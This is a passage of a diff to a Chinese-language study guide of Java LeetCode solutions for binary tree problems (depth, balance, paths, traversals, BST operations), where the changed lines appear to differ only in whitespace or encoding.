+return 1->3->5->2->4->NULL.
 ```
 
 ```java
-public ListNode oddEvenList(ListNode head) {
-    if (head == null) {
-        return head;
-    }
-    ListNode odd = head, even = head.next, evenHead = even;
-    while (even != null && even.next != null) {
-        odd.next = odd.next.next;
-        odd = odd.next;
-        even.next = even.next.next;
-        even = even.next;
-    }
-    odd.next = evenHead;
-    return head;
+public ListNode oddEvenList(ListNode head) {
+    if (head == null) {
+        return head;
+    }
+    ListNode odd = head, even = head.next, evenHead = even;
+    while (even != null && even.next != null) {
+        odd.next = odd.next.next;
+        odd = odd.next;
+        even.next = even.next.next;
+        even = even.next;
+    }
+    odd.next = evenHead;
+    return head;
 }
 ```
 
-## 树
+## 树
 
-### 递归
+### 递归
 
 一棵树要么是空树，要么有两个指针，每个指针指向一棵树。树是一种递归结构，很多树的问题可以使用递归来处理。
 
-**树的高度**
+**树的高度** 
 
-[104. Maximum Depth of Binary Tree (Easy)](https://leetcode.com/problems/maximum-depth-of-binary-tree/description/)
+[104. Maximum Depth of Binary Tree (Easy)](https://leetcode.com/problems/maximum-depth-of-binary-tree/description/)
 
 ```java
-public int maxDepth(TreeNode root) {
-    if (root == null) return 0;
-    return Math.max(maxDepth(root.left), maxDepth(root.right)) + 1;
+public int maxDepth(TreeNode root) {
+    if (root == null) return 0;
+    return Math.max(maxDepth(root.left), maxDepth(root.right)) + 1;
 }
 ```
 
-**平衡树**
+**平衡树** 
 
-[110. Balanced Binary Tree (Easy)](https://leetcode.com/problems/balanced-binary-tree/description/)
+[110. Balanced Binary Tree (Easy)](https://leetcode.com/problems/balanced-binary-tree/description/)
 
 ```html
-    3
-   / \
-  9  20
-    /  \
-   15   7
+    3
+   / \
+  9  20
+    /  \
+   15   7
 ```
 
-平衡树左右子树高度差都小于等于 1
+平衡树左右子树高度差都小于等于 1
 
 ```java
-private boolean result = true;
+private boolean result = true;
 
-public boolean isBalanced(TreeNode root) {
-    maxDepth(root);
-    return result;
+public boolean isBalanced(TreeNode root) {
+    maxDepth(root);
+    return result;
 }
 
-public int maxDepth(TreeNode root) {
-    if (root == null) return 0;
-    int l = maxDepth(root.left);
-    int r = maxDepth(root.right);
-    if (Math.abs(l - r) > 1) result = false;
-    return 1 + Math.max(l, r);
+public int maxDepth(TreeNode root) {
+    if (root == null) return 0;
+    int l = maxDepth(root.left);
+    int r = maxDepth(root.right);
+    if (Math.abs(l - r) > 1) result = false;
+    return 1 + Math.max(l, r);
 }
 ```
 
-**两节点的最长路径**
+**两节点的最长路径** 
 
-[543. Diameter of Binary Tree (Easy)](https://leetcode.com/problems/diameter-of-binary-tree/description/)
+[543. Diameter of Binary Tree (Easy)](https://leetcode.com/problems/diameter-of-binary-tree/description/)
 
 ```html
 Input:
 
-         1
-        / \
-       2  3
-      / \
-     4   5
+         1
+        / \
+       2  3
+      / \
+     4   5
 
-Return 3, which is the length of the path [4,2,1,3] or [5,2,1,3].
+Return 3, which is the length of the path [4,2,1,3] or [5,2,1,3].
 ```
 
 ```java
-private int max = 0;
+private int max = 0;
 
-public int diameterOfBinaryTree(TreeNode root) {
-    depth(root);
-    return max;
+public int diameterOfBinaryTree(TreeNode root) {
+    depth(root);
+    return max;
 }
 
-private int depth(TreeNode root) {
-    if (root == null) return 0;
-    int leftDepth = depth(root.left);
-    int rightDepth = depth(root.right);
-    max = Math.max(max, leftDepth + rightDepth);
-    return Math.max(leftDepth, rightDepth) + 1;
+private int depth(TreeNode root) {
+    if (root == null) return 0;
+    int leftDepth = depth(root.left);
+    int rightDepth = depth(root.right);
+    max = Math.max(max, leftDepth + rightDepth);
+    return Math.max(leftDepth, rightDepth) + 1;
 }
 ```
 
-**翻转树**
+**翻转树** 
 
-[226. Invert Binary Tree (Easy)](https://leetcode.com/problems/invert-binary-tree/description/)
+[226. Invert Binary Tree (Easy)](https://leetcode.com/problems/invert-binary-tree/description/)
 
 ```java
-public TreeNode invertTree(TreeNode root) {
-    if (root == null) return null;
-    TreeNode left = root.left;  // 后面的操作会改变 left 指针，因此先保存下来
-    root.left = invertTree(root.right);
-    root.right = invertTree(left);
-    return root;
+public TreeNode invertTree(TreeNode root) {
+    if (root == null) return null;
+    TreeNode left = root.left;  // 后面的操作会改变 left 指针，因此先保存下来
+    root.left = invertTree(root.right);
+    root.right = invertTree(left);
+    return root;
 }
 ```
 
-**归并两棵树**
+**归并两棵树** 
 
-[617. Merge Two Binary Trees (Easy)](https://leetcode.com/problems/merge-two-binary-trees/description/)
+[617. Merge Two Binary Trees (Easy)](https://leetcode.com/problems/merge-two-binary-trees/description/)
 
 ```html
 Input:
-       Tree 1                     Tree 2
-          1                         2
-         / \                       / \
-        3   2                     1   3
-       /                           \   \
-      5                             4   7
+       Tree 1                     Tree 2
+          1                         2
+         / \                       / \
+        3   2                     1   3
+       /                           \   \
+      5                             4   7
 
 Output:
-         3
-        / \
-       4   5
-      / \   \
-     5   4   7
+         3
+        / \
+       4   5
+      / \   \
+     5   4   7
 ```
 
 ```java
-public TreeNode mergeTrees(TreeNode t1, TreeNode t2) {
-    if (t1 == null && t2 == null) return null;
-    if (t1 == null) return t2;
-    if (t2 == null) return t1;
-    TreeNode root = new TreeNode(t1.val + t2.val);
-    root.left = mergeTrees(t1.left, t2.left);
-    root.right = mergeTrees(t1.right, t2.right);
-    return root;
+public TreeNode mergeTrees(TreeNode t1, TreeNode t2) {
+    if (t1 == null && t2 == null) return null;
+    if (t1 == null) return t2;
+    if (t2 == null) return t1;
+    TreeNode root = new TreeNode(t1.val + t2.val);
+    root.left = mergeTrees(t1.left, t2.left);
+    root.right = mergeTrees(t1.right, t2.right);
+    return root;
 }
 ```
 
-**判断路径和是否等于一个数**
+**判断路径和是否等于一个数** 
 
-[Leetcdoe : 112. Path Sum (Easy)](https://leetcode.com/problems/path-sum/description/)
+[Leetcdoe : 112. Path Sum (Easy)](https://leetcode.com/problems/path-sum/description/)
 
 ```html
-Given the below binary tree and sum = 22,
+Given the below binary tree and sum = 22,
 
-              5
-             / \
-            4   8
-           /   / \
-          11  13  4
-         /  \      \
-        7    2      1
+              5
+             / \
+            4   8
+           /   / \
+          11  13  4
+         /  \      \
+        7    2      1
 
-return true, as there exist a root-to-leaf path 5->4->11->2 which sum is 22.
+return true, as there exist a root-to-leaf path 5->4->11->2 which sum is 22.
 ```
 
-路径和定义为从 root 到 leaf 的所有节点的和。
+路径和定义为从 root 到 leaf 的所有节点的和。
 
 ```java
-public boolean hasPathSum(TreeNode root, int sum) {
-    if (root == null) return false;
-    if (root.left == null && root.right == null && root.val == sum) return true;
-    return hasPathSum(root.left, sum - root.val) || hasPathSum(root.right, sum - root.val);
+public boolean hasPathSum(TreeNode root, int sum) {
+    if (root == null) return false;
+    if (root.left == null && root.right == null && root.val == sum) return true;
+    return hasPathSum(root.left, sum - root.val) || hasPathSum(root.right, sum - root.val);
 }
 ```
 
-**统计路径和等于一个数的路径数量**
+**统计路径和等于一个数的路径数量** 
 
-[437. Path Sum III (Easy)](https://leetcode.com/problems/path-sum-iii/description/)
+[437. Path Sum III (Easy)](https://leetcode.com/problems/path-sum-iii/description/)
 
 ```html
-root = [10,5,-3,3,2,null,11,3,-2,null,1], sum = 8
+root = [10,5,-3,3,2,null,11,3,-2,null,1], sum = 8
 
-      10
-     /  \
-    5   -3
-   / \    \
-  3   2   11
- / \   \
-3  -2   1
+      10
+     /  \
+    5   -3
+   / \    \
+  3   2   11
+ / \   \
+3  -2   1
 
-Return 3. The paths that sum to 8 are:
+Return 3. The paths that sum to 8 are:
 
-1.  5 -> 3
-2.  5 -> 2 -> 1
-3. -3 -> 11
+1.  5 -> 3
+2.  5 -> 2 -> 1
+3. -3 -> 11
 ```
 
-路径不一定以 root 开头，也不一定以 leaf 结尾，但是必须连续。
+路径不一定以 root 开头，也不一定以 leaf 结尾，但是必须连续。
 
 ```java
-public int pathSum(TreeNode root, int sum) {
-    if (root == null) return 0;
-    int ret = pathSumStartWithRoot(root, sum) + pathSum(root.left, sum) + pathSum(root.right, sum);
-    return ret;
+public int pathSum(TreeNode root, int sum) {
+    if (root == null) return 0;
+    int ret = pathSumStartWithRoot(root, sum) + pathSum(root.left, sum) + pathSum(root.right, sum);
+    return ret;
 }
 
-private int pathSumStartWithRoot(TreeNode root, int sum) {
-    if (root == null) return 0;
-    int ret = 0;
-    if (root.val == sum) ret++;
-    ret += pathSumStartWithRoot(root.left, sum - root.val) + pathSumStartWithRoot(root.right, sum - root.val);
-    return ret;
+private int pathSumStartWithRoot(TreeNode root, int sum) {
+    if (root == null) return 0;
+    int ret = 0;
+    if (root.val == sum) ret++;
+    ret += pathSumStartWithRoot(root.left, sum - root.val) + pathSumStartWithRoot(root.right, sum - root.val);
+    return ret;
 }
 ```
 
-**子树**
+**子树** 
 
-[572. Subtree of Another Tree (Easy)](https://leetcode.com/problems/subtree-of-another-tree/description/)
+[572. Subtree of Another Tree (Easy)](https://leetcode.com/problems/subtree-of-another-tree/description/)
 
 ```html
-Given tree s:
-     3
-    / \
-   4   5
-  / \
- 1   2
+Given tree s:
+     3
+    / \
+   4   5
+  / \
+ 1   2
 
-Given tree t:
-   4
-  / \
- 1   2
+Given tree t:
+   4
+  / \
+ 1   2
 
-Return true, because t has the same structure and node values with a subtree of s.
+Return true, because t has the same structure and node values with a subtree of s.
 
-Given tree s:
+Given tree s:
 
-     3
-    / \
-   4   5
-  / \
- 1   2
-    /
-   0
+     3
+    / \
+   4   5
+  / \
+ 1   2
+    /
+   0
 
-Given tree t:
-   4
-  / \
- 1   2
+Given tree t:
+   4
+  / \
+ 1   2
 
-Return false.
+Return false.
 ```
 
 ```java
-public boolean isSubtree(TreeNode s, TreeNode t) {
-    if (s == null) return false;
-    return isSubtreeWithRoot(s, t) || isSubtree(s.left, t) || isSubtree(s.right, t);
+public boolean isSubtree(TreeNode s, TreeNode t) {
+    if (s == null) return false;
+    return isSubtreeWithRoot(s, t) || isSubtree(s.left, t) || isSubtree(s.right, t);
 }
 
-private boolean isSubtreeWithRoot(TreeNode s, TreeNode t) {
-    if (t == null && s == null) return true;
-    if (t == null || s == null) return false;
-    if (t.val != s.val) return false;
-    return isSubtreeWithRoot(s.left, t.left) && isSubtreeWithRoot(s.right, t.right);
+private boolean isSubtreeWithRoot(TreeNode s, TreeNode t) {
+    if (t == null && s == null) return true;
+    if (t == null || s == null) return false;
+    if (t.val != s.val) return false;
+    return isSubtreeWithRoot(s.left, t.left) && isSubtreeWithRoot(s.right, t.right);
 }
 ```
 
-**树的对称**
+**树的对称** 
 
-[101. Symmetric Tree (Easy)](https://leetcode.com/problems/symmetric-tree/description/)
+[101. Symmetric Tree (Easy)](https://leetcode.com/problems/symmetric-tree/description/)
 
 ```html
-    1
-   / \
-  2   2
- / \ / \
-3  4 4  3
+    1
+   / \
+  2   2
+ / \ / \
+3  4 4  3
 ```
 
 ```java
-public boolean isSymmetric(TreeNode root) {
-    if (root == null) return true;
-    return isSymmetric(root.left, root.right);
+public boolean isSymmetric(TreeNode root) {
+    if (root == null) return true;
+    return isSymmetric(root.left, root.right);
 }
 
-private boolean isSymmetric(TreeNode t1, TreeNode t2) {
-    if (t1 == null && t2 == null) return true;
-    if (t1 == null || t2 == null) return false;
-    if (t1.val != t2.val) return false;
-    return isSymmetric(t1.left, t2.right) && isSymmetric(t1.right, t2.left);
+private boolean isSymmetric(TreeNode t1, TreeNode t2) {
+    if (t1 == null && t2 == null) return true;
+    if (t1 == null || t2 == null) return false;
+    if (t1.val != t2.val) return false;
+    return isSymmetric(t1.left, t2.right) && isSymmetric(t1.right, t2.left);
 }
 ```
 
-**最小路径**
+**最小路径** 
 
-[111. Minimum Depth of Binary Tree (Easy)](https://leetcode.com/problems/minimum-depth-of-binary-tree/description/)
+[111. Minimum Depth of Binary Tree (Easy)](https://leetcode.com/problems/minimum-depth-of-binary-tree/description/)
 
 树的根节点到叶子节点的最小路径长度
 
 ```java
-public int minDepth(TreeNode root) {
-    if (root == null) return 0;
-    int left = minDepth(root.left);
-    int right = minDepth(root.right);
-    if (left == 0 || right == 0) return left + right + 1;
-    return Math.min(left, right) + 1;
+public int minDepth(TreeNode root) {
+    if (root == null) return 0;
+    int left = minDepth(root.left);
+    int right = minDepth(root.right);
+    if (left == 0 || right == 0) return left + right + 1;
+    return Math.min(left, right) + 1;
 }
 ```
 
-**统计左叶子节点的和**
+**统计左叶子节点的和** 
 
-[404. Sum of Left Leaves (Easy)](https://leetcode.com/problems/sum-of-left-leaves/description/)
+[404. Sum of Left Leaves (Easy)](https://leetcode.com/problems/sum-of-left-leaves/description/)
 
 ```html
-    3
-   / \
-  9  20
-    /  \
-   15   7
+    3
+   / \
+  9  20
+    /  \
+   15   7
 
-There are two left leaves in the binary tree, with values 9 and 15 respectively. Return 24.
+There are two left leaves in the binary tree, with values 9 and 15 respectively. Return 24.
 ```
 
 ```java
-public int sumOfLeftLeaves(TreeNode root) {
-    if (root == null) return 0;
-    if (isLeaf(root.left)) return root.left.val + sumOfLeftLeaves(root.right);
-    return sumOfLeftLeaves(root.left) + sumOfLeftLeaves(root.right);
+public int sumOfLeftLeaves(TreeNode root) {
+    if (root == null) return 0;
+    if (isLeaf(root.left)) return root.left.val + sumOfLeftLeaves(root.right);
+    return sumOfLeftLeaves(root.left) + sumOfLeftLeaves(root.right);
 }
 
-private boolean isLeaf(TreeNode node){
-    if (node == null) return false;
-    return node.left == null && node.right == null;
+private boolean isLeaf(TreeNode node){
+    if (node == null) return false;
+    return node.left == null && node.right == null;
 }
 ```
 
-**相同节点值的最大路径长度**
+**相同节点值的最大路径长度** 
 
-[687. Longest Univalue Path (Easy)](https://leetcode.com/problems/longest-univalue-path/)
+[687. Longest Univalue Path (Easy)](https://leetcode.com/problems/longest-univalue-path/)
 
 ```html
-             1
-            / \
-           4   5
-          / \   \
-         4   4   5
+             1
+            / \
+           4   5
+          / \   \
+         4   4   5
 
-Output : 2
+Output : 2
 ```
 
 ```java
-private int path = 0;
+private int path = 0;
 
-public int longestUnivaluePath(TreeNode root) {
-    dfs(root);
-    return path;
+public int longestUnivaluePath(TreeNode root) {
+    dfs(root);
+    return path;
 }
 
-private int dfs(TreeNode root){
-    if (root == null) return 0;
-    int left = dfs(root.left);
-    int right = dfs(root.right);
-    int leftPath = root.left != null && root.left.val == root.val ? left + 1 : 0;
-    int rightPath = root.right != null && root.right.val == root.val ? right + 1 : 0;
-    path = Math.max(path, leftPath + rightPath);
-    return Math.max(leftPath, rightPath);
+private int dfs(TreeNode root){
+    if (root == null) return 0;
+    int left = dfs(root.left);
+    int right = dfs(root.right);
+    int leftPath = root.left != null && root.left.val == root.val ? left + 1 : 0;
+    int rightPath = root.right != null && root.right.val == root.val ? right + 1 : 0;
+    path = Math.max(path, leftPath + rightPath);
+    return Math.max(leftPath, rightPath);
 }
 ```
 
-**间隔遍历**
+**间隔遍历** 
 
-[337. House Robber III (Medium)](https://leetcode.com/problems/house-robber-iii/description/)
+[337. House Robber III (Medium)](https://leetcode.com/problems/house-robber-iii/description/)
 
 ```html
-     3
-    / \
-   2   3
-    \   \
-     3   1
-Maximum amount of money the thief can rob = 3 + 3 + 1 = 7.
+     3
+    / \
+   2   3
+    \   \
+     3   1
+Maximum amount of money the thief can rob = 3 + 3 + 1 = 7.
 ```
 
 ```java
-public int rob(TreeNode root) {
-    if (root == null) return 0;
-    int val1 = root.val;
-    if (root.left != null) val1 += rob(root.left.left) + rob(root.left.right);
-    if (root.right != null) val1 += rob(root.right.left) + rob(root.right.right);
-    int val2 = rob(root.left) + rob(root.right);
-    return Math.max(val1, val2);
+public int rob(TreeNode root) {
+    if (root == null) return 0;
+    int val1 = root.val;
+    if (root.left != null) val1 += rob(root.left.left) + rob(root.left.right);
+    if (root.right != null) val1 += rob(root.right.left) + rob(root.right.right);
+    int val2 = rob(root.left) + rob(root.right);
+    return Math.max(val1, val2);
 }
 ```
 
-**找出二叉树中第二小的节点**
+**找出二叉树中第二小的节点** 
 
-[671. Second Minimum Node In a Binary Tree (Easy)](https://leetcode.com/problems/second-minimum-node-in-a-binary-tree/description/)
+[671. Second Minimum Node In a Binary Tree (Easy)](https://leetcode.com/problems/second-minimum-node-in-a-binary-tree/description/)
 
 ```html
 Input:
-   2
-  / \
- 2   5
-    / \
-    5  7
+   2
+  / \
+ 2   5
+    / \
+    5  7
 
-Output: 5
+Output: 5
 ```
 
-一个节点要么具有 0 个或 2 个子节点，如果有子节点，那么根节点是最小的节点。
+一个节点要么具有 0 个或 2 个子节点，如果有子节点，那么根节点是最小的节点。
 
 ```java
-public int findSecondMinimumValue(TreeNode root) {
-    if (root == null) return -1;
-    if (root.left == null && root.right == null) return -1;
-    int leftVal = root.left.val;
-    int rightVal = root.right.val;
-    if (leftVal == root.val) leftVal = findSecondMinimumValue(root.left);
-    if (rightVal == root.val) rightVal = findSecondMinimumValue(root.right);
-    if (leftVal != -1 && rightVal != -1) return Math.min(leftVal, rightVal);
-    if (leftVal != -1) return leftVal;
-    return rightVal;
+public int findSecondMinimumValue(TreeNode root) {
+    if (root == null) return -1;
+    if (root.left == null && root.right == null) return -1;
+    int leftVal = root.left.val;
+    int rightVal = root.right.val;
+    if (leftVal == root.val) leftVal = findSecondMinimumValue(root.left);
+    if (rightVal == root.val) rightVal = findSecondMinimumValue(root.right);
+    if (leftVal != -1 && rightVal != -1) return Math.min(leftVal, rightVal);
+    if (leftVal != -1) return leftVal;
+    return rightVal;
 }
 ```
 
-### 层次遍历
+### 层次遍历
 
-使用 BFS 进行层次遍历。不需要使用两个队列来分别存储当前层的节点和下一层的节点，因为在开始遍历一层的节点时，当前队列中的节点数就是当前层的节点数，只要控制遍历这么多节点数，就能保证这次遍历的都是当前层的节点。
+使用 BFS 进行层次遍历。不需要使用两个队列来分别存储当前层的节点和下一层的节点，因为在开始遍历一层的节点时，当前队列中的节点数就是当前层的节点数，只要控制遍历这么多节点数，就能保证这次遍历的都是当前层的节点。
 
-**一棵树每层节点的平均数**
+**一棵树每层节点的平均数** 
 
-[637. Average of Levels in Binary Tree (Easy)](https://leetcode.com/problems/average-of-levels-in-binary-tree/description/)
+[637. Average of Levels in Binary Tree (Easy)](https://leetcode.com/problems/average-of-levels-in-binary-tree/description/)
 
 ```java
-public List<Double> averageOfLevels(TreeNode root) {
-    List<Double> ret = new ArrayList<>();
-    if (root == null) return ret;
-    Queue<TreeNode> queue = new LinkedList<>();
-    queue.add(root);
-    while (!queue.isEmpty()) {
-        int cnt = queue.size();
-        double sum = 0;
-        for (int i = 0; i < cnt; i++) {
-            TreeNode node = queue.poll();
-            sum += node.val;
-            if (node.left != null) queue.add(node.left);
-            if (node.right != null) queue.add(node.right);
-        }
-        ret.add(sum / cnt);
-    }
-    return ret;
+public List<Double> averageOfLevels(TreeNode root) {
+    List<Double> ret = new ArrayList<>();
+    if (root == null) return ret;
+    Queue<TreeNode> queue = new LinkedList<>();
+    queue.add(root);
+    while (!queue.isEmpty()) {
+        int cnt = queue.size();
+        double sum = 0;
+        for (int i = 0; i < cnt; i++) {
+            TreeNode node = queue.poll();
+            sum += node.val;
+            if (node.left != null) queue.add(node.left);
+            if (node.right != null) queue.add(node.right);
+        }
+        ret.add(sum / cnt);
+    }
+    return ret;
 }
 ```
 
-**得到左下角的节点**
+**得到左下角的节点** 
 
-[513. Find Bottom Left Tree Value (Easy)](https://leetcode.com/problems/find-bottom-left-tree-value/description/)
+[513. Find Bottom Left Tree Value (Easy)](https://leetcode.com/problems/find-bottom-left-tree-value/description/)
 
 ```html
 Input:
 
-        1
-       / \
-      2   3
-     /   / \
-    4   5   6
-       /
-      7
+        1
+       / \
+      2   3
+     /   / \
+    4   5   6
+       /
+      7
 
 Output:
 7
 ```
 
 ```java
-public int findBottomLeftValue(TreeNode root) {
-    Queue<TreeNode> queue = new LinkedList<>();
-    queue.add(root);
-    while (!queue.isEmpty()) {
-        root = queue.poll();
-        if (root.right != null) queue.add(root.right);
-        if (root.left != null) queue.add(root.left);
-    }
-    return root.val;
+public int findBottomLeftValue(TreeNode root) {
+    Queue<TreeNode> queue = new LinkedList<>();
+    queue.add(root);
+    while (!queue.isEmpty()) {
+        root = queue.poll();
+        if (root.right != null) queue.add(root.right);
+        if (root.left != null) queue.add(root.left);
+    }
+    return root.val;
 }
 ```
 
-### 前中后序遍历
+### 前中后序遍历
 
 ```html
-    1
-   / \
-  2   3
- / \   \
-4   5   6
+    1
+   / \
+  2   3
+ / \   \
+4   5   6
 ```
 
-- 层次遍历顺序：[1 2 3 4 5 6]
-- 前序遍历顺序：[1 2 4 5 3 6]
-- 中序遍历顺序：[4 2 5 1 3 6]
-- 后序遍历顺序：[4 5 2 6 3 1]
+- 层次遍历顺序：[1 2 3 4 5 6]
+- 前序遍历顺序：[1 2 4 5 3 6]
+- 中序遍历顺序：[4 2 5 1 3 6]
+- 后序遍历顺序：[4 5 2 6 3 1]
 
-层次遍历使用 BFS 实现，利用的就是 BFS 一层一层遍历的特性；而前序、中序、后序遍历利用了 DFS 实现。
+层次遍历使用 BFS 实现，利用的就是 BFS 一层一层遍历的特性；而前序、中序、后序遍历利用了 DFS 实现。
 
 前序、中序、后序遍只是在对节点访问的顺序有一点不同，其它都相同。
 
-① 前序
+① 前序
 
 ```java
-void dfs(TreeNode root) {
-    visit(root);
-    dfs(root.left);
-    dfs(root.right);
+void dfs(TreeNode root) {
+    visit(root);
+    dfs(root.left);
+    dfs(root.right);
 }
 ```
 
-② 中序
+② 中序
 
 ```java
-void dfs(TreeNode root) {
-    dfs(root.left);
-    visit(root);
-    dfs(root.right);
+void dfs(TreeNode root) {
+    dfs(root.left);
+    visit(root);
+    dfs(root.right);
 }
 ```
 
-③ 后序
+③ 后序
 
 ```java
-void dfs(TreeNode root) {
-    dfs(root.left);
-    dfs(root.right);
-    visit(root);
+void dfs(TreeNode root) {
+    dfs(root.left);
+    dfs(root.right);
+    visit(root);
 }
 ```
 
-**非递归实现二叉树的前序遍历**
+**非递归实现二叉树的前序遍历** 
 
-[144. Binary Tree Preorder Traversal (Medium)](https://leetcode.com/problems/binary-tree-preorder-traversal/description/)
+[144. Binary Tree Preorder Traversal (Medium)](https://leetcode.com/problems/binary-tree-preorder-traversal/description/)
 
 ```java
-public List<Integer> preorderTraversal(TreeNode root) {
-    List<Integer> ret = new ArrayList<>();
-    Stack<TreeNode> stack = new Stack<>();
-    stack.push(root);
-    while (!stack.isEmpty()) {
-        TreeNode node = stack.pop();
-        if (node == null) continue;
-        ret.add(node.val);
-        stack.push(node.right);  // 先右后左，保证左子树先遍历
-        stack.push(node.left);
-    }
-    return ret;
+public List<Integer> preorderTraversal(TreeNode root) {
+    List<Integer> ret = new ArrayList<>();
+    Stack<TreeNode> stack = new Stack<>();
+    stack.push(root);
+    while (!stack.isEmpty()) {
+        TreeNode node = stack.pop();
+        if (node == null) continue;
+        ret.add(node.val);
+        stack.push(node.right);  // 先右后左，保证左子树先遍历
+        stack.push(node.left);
+    }
+    return ret;
 }
 ```
 
-**非递归实现二叉树的后序遍历**
+**非递归实现二叉树的后序遍历** 
 
-[145. Binary Tree Postorder Traversal (Medium)](https://leetcode.com/problems/binary-tree-postorder-traversal/description/)
+[145. Binary Tree Postorder Traversal (Medium)](https://leetcode.com/problems/binary-tree-postorder-traversal/description/)
 
-前序遍历为 root -> left -> right，后序遍历为 left -> right -> root。可以修改前序遍历成为 root -> right -> left，那么这个顺序就和后序遍历正好相反。
+前序遍历为 root -> left -> right，后序遍历为 left -> right -> root。可以修改前序遍历成为 root -> right -> left，那么这个顺序就和后序遍历正好相反。
 
 ```java
-public List<Integer> postorderTraversal(TreeNode root) {
-    List<Integer> ret = new ArrayList<>();
-    Stack<TreeNode> stack = new Stack<>();
-    stack.push(root);
-    while (!stack.isEmpty()) {
-        TreeNode node = stack.pop();
-        if (node == null) continue;
-        ret.add(node.val);
-        stack.push(node.left);
-        stack.push(node.right);
-    }
-    Collections.reverse(ret);
-    return ret;
+public List<Integer> postorderTraversal(TreeNode root) {
+    List<Integer> ret = new ArrayList<>();
+    Stack<TreeNode> stack = new Stack<>();
+    stack.push(root);
+    while (!stack.isEmpty()) {
+        TreeNode node = stack.pop();
+        if (node == null) continue;
+        ret.add(node.val);
+        stack.push(node.left);
+        stack.push(node.right);
+    }
+    Collections.reverse(ret);
+    return ret;
 }
 ```
 
-**非递归实现二叉树的中序遍历**
+**非递归实现二叉树的中序遍历** 
 
-[94. Binary Tree Inorder Traversal (Medium)](https://leetcode.com/problems/binary-tree-inorder-traversal/description/)
+[94. Binary Tree Inorder Traversal (Medium)](https://leetcode.com/problems/binary-tree-inorder-traversal/description/)
 
 ```java
-public List<Integer> inorderTraversal(TreeNode root) {
-    List<Integer> ret = new ArrayList<>();
-    if (root == null) return ret;
-    Stack<TreeNode> stack = new Stack<>();
-    TreeNode cur = root;
-    while (cur != null || !stack.isEmpty()) {
-        while (cur != null) {
-            stack.push(cur);
-            cur = cur.left;
-        }
-        TreeNode node = stack.pop();
-        ret.add(node.val);
-        cur = node.right;
-    }
-    return ret;
+public List<Integer> inorderTraversal(TreeNode root) {
+    List<Integer> ret = new ArrayList<>();
+    if (root == null) return ret;
+    Stack<TreeNode> stack = new Stack<>();
+    TreeNode cur = root;
+    while (cur != null || !stack.isEmpty()) {
+        while (cur != null) {
+            stack.push(cur);
+            cur = cur.left;
+        }
+        TreeNode node = stack.pop();
+        ret.add(node.val);
+        cur = node.right;
+    }
+    return ret;
 }
 ```
 
-### BST
+### BST
 
 二叉查找树（BST）：根节点大于等于左子树所有节点，小于等于右子树所有节点。
 
 二叉查找树中序遍历有序。
 
-**修剪二叉查找树**
+**修剪二叉查找树** 
 
-[669. Trim a Binary Search Tree (Easy)](https://leetcode.com/problems/trim-a-binary-search-tree/description/)
+[669. Trim a Binary Search Tree (Easy)](https://leetcode.com/problems/trim-a-binary-search-tree/description/)
 
 ```html
 Input:
 
-    3
-   / \
-  0   4
-   \
-    2
-   /
-  1
+    3
+   / \
+  0   4
+   \
+    2
+   /
+  1
 
-  L = 1
-  R = 3
+  L = 1
+  R = 3
 
 Output:
 
-      3
-     /
-   2
-  /
- 1
+      3
+     /
+   2
+  /
+ 1
 ```
 
-题目描述：只保留值在 L ~ R 之间的节点
+题目描述：只保留值在 L \~ R 之间的节点
 
 ```java
-public TreeNode trimBST(TreeNode root, int L, int R) {
-    if (root == null) return null;
-    if (root.val > R) return trimBST(root.left, L, R);
-    if (root.val < L) return trimBST(root.right, L, R);
-    root.left = trimBST(root.left, L, R);
-    root.right = trimBST(root.right, L, R);
-    return root;
+public TreeNode trimBST(TreeNode root, int L, int R) {
+    if (root == null) return null;
+    if (root.val > R) return trimBST(root.left, L, R);
+    if (root.val < L) return trimBST(root.right, L, R);
+    root.left = trimBST(root.left, L, R);
+    root.right = trimBST(root.right, L, R);
+    return root;
 }
 ```
 
-**寻找二叉查找树的第 k 个元素**
+**寻找二叉查找树的第 k 个元素** 
 
-[230. Kth Smallest Element in a BST (Medium)](https://leetcode.com/problems/kth-smallest-element-in-a-bst/description/)
+[230. Kth Smallest Element in a BST (Medium)](https://leetcode.com/problems/kth-smallest-element-in-a-bst/description/)
 
 
 中序遍历解法：
 
 ```java
-private int cnt = 0;
-private int val;
+private int cnt = 0;
+private int val;
 
-public int kthSmallest(TreeNode root, int k) {
-    inOrder(root, k);
-    return val;
+public int kthSmallest(TreeNode root, int k) {
+    inOrder(root, k);
+    return val;
 }
 
-private void inOrder(TreeNode node, int k) {
-    if (node == null) return;
-    inOrder(node.left, k);
-    cnt++;
-    if (cnt == k) {
-        val = node.val;
-        return;
-    }
-    inOrder(node.right, k);
+private void inOrder(TreeNode node, int k) {
+    if (node == null) return;
+    inOrder(node.left, k);
+    cnt++;
+    if (cnt == k) {
+        val = node.val;
+        return;
+    }
+    inOrder(node.right, k);
 }
 ```
 
 递归解法：
 
 ```java
-public int kthSmallest(TreeNode root, int k) {
-    int leftCnt = count(root.left);
-    if (leftCnt == k - 1) return root.val;
-    if (leftCnt > k - 1) return kthSmallest(root.left, k);
-    return kthSmallest(root.right, k - leftCnt - 1);
+public int kthSmallest(TreeNode root, int k) {
+    int leftCnt = count(root.left);
+    if (leftCnt == k - 1) return root.val;
+    if (leftCnt > k - 1) return kthSmallest(root.left, k);
+    return kthSmallest(root.right, k - leftCnt - 1);
 }
 
-private int count(TreeNode node) {
-    if (node == null) return 0;
-    return 1 + count(node.left) + count(node.right);
+private int count(TreeNode node) {
+    if (node == null) return 0;
+    return 1 + count(node.left) + count(node.right);
 }
 ```
 
-**把二叉查找树每个节点的值都加上比它大的节点的值**
+**把二叉查找树每个节点的值都加上比它大的节点的值** 
 
-[Convert BST to Greater Tree (Easy)](https://leetcode.com/problems/convert-bst-to-greater-tree/description/)
+[Convert BST to Greater Tree (Easy)](https://leetcode.com/problems/convert-bst-to-greater-tree/description/)
 
 ```html
-Input: The root of a Binary Search Tree like this:
+Input: The root of a Binary Search Tree like this:
 
-              5
-            /   \
-           2     13
+              5
+            /   \
+           2     13
 
-Output: The root of a Greater Tree like this:
+Output: The root of a Greater Tree like this:
 
-             18
-            /   \
-          20     13
+             18
+            /   \
+          20     13
 ```
 
 先遍历右子树。
 
 ```java
-private int sum = 0;
+private int sum = 0;
 
-public TreeNode convertBST(TreeNode root) {
-    traver(root);
-    return root;
+public TreeNode convertBST(TreeNode root) {
+    traver(root);
+    return root;
 }
 
-private void traver(TreeNode node) {
-    if (node == null) return;
-    traver(node.right);
-    sum += node.val;
-    node.val = sum;
-    traver(node.left);
+private void traver(TreeNode node) {
+    if (node == null) return;
+    traver(node.right);
+    sum += node.val;
+    node.val = sum;
+    traver(node.left);
 }
 ```
 
-**二叉查找树的最近公共祖先**
+**二叉查找树的最近公共祖先** 
 
